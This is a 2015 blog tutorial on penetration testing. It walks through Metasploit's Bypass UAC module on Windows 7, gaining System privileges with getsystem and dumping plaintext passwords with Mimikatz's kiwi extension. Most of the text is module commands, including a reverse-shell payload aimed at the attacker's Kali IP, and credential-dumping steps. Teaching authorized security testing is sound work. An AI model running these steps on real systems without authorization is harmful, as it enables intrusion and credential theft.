System level Access and Plain Text Passwords using Bypass UAC and Mimikatz
If you can get a remote shell during a penetration test, Metasploit’s Bypass UAC module is great for disabling that pesky UAC and escalating an account with admin privileges to the all powerful System level access. The problem is it doesn’t seem to work anymore – so let’s see what changed and get some plain text passwords while we are at it!
Its been a while since I have used Metasploit’s Bypass UAC module and when I went to use it recently, it kept erroring out. Once you had a remote shell with Metasploit all you used to have to do was call the Bypass UAC module, set the session number of the active session and run it. The solution is simple, the module usage has changed slightly.
We will start with an active session to a Windows 7 system:
From here, enter:
- use exploit/windows/local/bypassuac_injection
- set session 1
- set payload windows/meterpreter/reverse_tcp
- set lhost [Kali’s IP Address]
- set lport 4545 (Important: use a different port from one used for original shell)
This should execute the Bypass UAC module, creating a new session with UAC disabled:
Now if we type “getsystem” it should work, as verified by “getuid”:
Now that we have a System level shell, what can we do?
Pretty much anything we want. Recover clear text passwords you say? Sure!
Type, “load kiwi“:
Then type, “creds_all“:
Oh look, user “Dan” is using the hyper secure password of “password” – Yikes, not good!
Bypass UAC is now a full exploit module, which means that you need to actually set a payload for it. I recommend using the same one that you got the original shell with. But make sure that when you set up the payload for Bypass UAC that you select a different port number for it to use or it will error out. So on mine, the port used to create session one was 4444, so I chose port 4545 for the UAC exploit.
Lastly, once we had the second shell created by Bypass UAC, we quickly elevated our privileges to system level with the “getsystem” command. Lastly, we used the amazing Mimikatz “Kiwi” extension to grab the plain text passwords for the win!
Want to learn how to use Metasploit and a whole lot more? Check out my book, “Basic Security Testing with Kali Linux” – Also a follow up book is coming out very soon!
~ by D. Dieterle on July 4, 2015.